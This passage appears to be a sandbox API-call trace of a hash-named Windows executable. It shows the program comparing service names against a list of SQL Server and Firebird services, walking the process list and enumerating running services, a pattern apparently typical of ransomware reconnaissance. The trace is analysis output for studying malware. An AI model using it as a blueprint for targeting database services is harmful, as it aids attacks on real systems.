	[0159.829] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0159.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0159.829] lstrlenW (lpString="PcaSvc") returned 6
	[0159.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0159.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0159.829] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0159.829] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0159.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0159.829] lstrlenW (lpString="PlugPlay") returned 8
	[0159.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0159.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0159.829] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0159.829] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0159.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0159.829] lstrlenW (lpString="Power") returned 5
	[0159.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0159.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0159.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0159.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0159.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0159.830] lstrlenW (lpString="ProfSvc") returned 7
	[0159.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0159.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0159.830] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0159.830] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0159.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0159.830] lstrlenW (lpString="RpcEptMapper") returned 12
	[0159.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0159.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0159.830] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0159.830] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0159.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0159.830] lstrlenW (lpString="RpcSs") returned 5
	[0159.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0159.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0159.830] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0159.830] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0159.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0159.830] lstrlenW (lpString="SamSs") returned 5
	[0159.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0159.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0159.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0159.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0159.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0159.830] lstrlenW (lpString="Schedule") returned 8
	[0159.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0159.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0159.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0159.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0159.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0159.830] lstrlenW (lpString="SecurityHealthService") returned 21
	[0159.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0159.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0159.831] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0159.831] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0159.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0159.831] lstrlenW (lpString="SENS") returned 4
	[0159.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0159.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0159.831] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0159.831] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0159.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0159.831] lstrlenW (lpString="ShellHWDetection") returned 16
	[0159.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0159.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0159.831] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0159.831] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0159.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0159.831] lstrlenW (lpString="Spooler") returned 7
	[0159.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0159.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0159.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0159.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0159.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0159.831] lstrlenW (lpString="StateRepository") returned 15
	[0159.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0159.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0159.831] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0159.831] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0159.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0159.831] lstrlenW (lpString="SysMain") returned 7
	[0159.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0159.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0159.831] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0159.831] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0159.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0159.831] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0159.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0159.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0159.832] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0159.832] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0159.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0159.832] lstrlenW (lpString="Themes") returned 6
	[0159.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0159.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0159.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0159.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0159.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0159.832] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0159.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0159.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0159.832] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0159.832] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0159.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0159.832] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0159.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0159.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0159.832] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0159.832] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0159.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4003478 | out: hHeap=0x710000) returned 1
	[0159.832] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320
	[0160.460] Process32FirstW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0160.460] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0160.460] lstrlenW (lpString="System") returned 6
	[0160.460] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0160.461] lstrlenW (lpString="smss.exe") returned 8
	[0160.461] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0160.461] lstrlenW (lpString="csrss.exe") returned 9
	[0160.461] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0160.462] lstrlenW (lpString="wininit.exe") returned 11
	[0160.462] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0160.462] lstrlenW (lpString="csrss.exe") returned 9
	[0160.462] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0160.463] lstrlenW (lpString="winlogon.exe") returned 12
	[0160.463] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0160.463] lstrlenW (lpString="services.exe") returned 12
	[0160.463] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0160.463] lstrlenW (lpString="lsass.exe") returned 9
	[0160.463] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0160.464] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0160.464] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0160.464] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0160.464] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.465] lstrlenW (lpString="svchost.exe") returned 11
	[0160.465] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.465] lstrlenW (lpString="svchost.exe") returned 11
	[0160.465] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0160.465] lstrlenW (lpString="dwm.exe") returned 7
	[0160.465] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.466] lstrlenW (lpString="svchost.exe") returned 11
	[0160.466] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.466] lstrlenW (lpString="svchost.exe") returned 11
	[0160.466] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.467] lstrlenW (lpString="svchost.exe") returned 11
	[0160.467] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.467] lstrlenW (lpString="svchost.exe") returned 11
	[0160.467] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.467] lstrlenW (lpString="svchost.exe") returned 11
	[0160.468] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.468] lstrlenW (lpString="svchost.exe") returned 11
	[0160.468] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.468] lstrlenW (lpString="svchost.exe") returned 11
	[0160.468] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.469] lstrlenW (lpString="svchost.exe") returned 11
	[0160.469] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.469] lstrlenW (lpString="svchost.exe") returned 11
	[0160.469] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.470] lstrlenW (lpString="svchost.exe") returned 11
	[0160.470] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0160.470] lstrlenW (lpString="spoolsv.exe") returned 11
	[0160.470] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.470] lstrlenW (lpString="svchost.exe") returned 11
	[0160.470] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0160.471] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0160.471] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0160.471] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0160.471] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0160.472] lstrlenW (lpString="audiodg.exe") returned 11
	[0160.472] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0160.472] lstrlenW (lpString="Memory Compression") returned 18
	[0160.472] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0160.473] lstrlenW (lpString="taskhostw.exe") returned 13
	[0160.473] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0160.473] lstrlenW (lpString="sihost.exe") returned 10
	[0160.473] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.473] lstrlenW (lpString="svchost.exe") returned 11
	[0160.473] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0160.474] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0160.474] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0160.474] lstrlenW (lpString="taskhostw.exe") returned 13
	[0160.474] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0160.475] lstrlenW (lpString="explorer.exe") returned 12
	[0160.475] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0160.475] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0160.475] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0160.475] lstrlenW (lpString="SearchUI.exe") returned 12
	[0160.476] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0160.476] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0160.476] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0160.476] lstrlenW (lpString="mobsync.exe") returned 11
	[0160.476] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0160.477] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0160.477] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0160.477] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0160.477] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0160.478] lstrlenW (lpString="cmd.exe") returned 7
	[0160.478] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0160.478] lstrlenW (lpString="conhost.exe") returned 11
	[0160.478] Process32NextW (in: hSnapshot=0x320, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0160.478] CloseHandle (hObject=0x320) returned 1
	[0160.479] Sleep (dwMilliseconds=0x1f4) 
	[0161.054] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x74f490
	[0161.055] EnumServicesStatusExW (in: hSCManager=0x74f490, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0161.055] GetLastError () returned 0xea
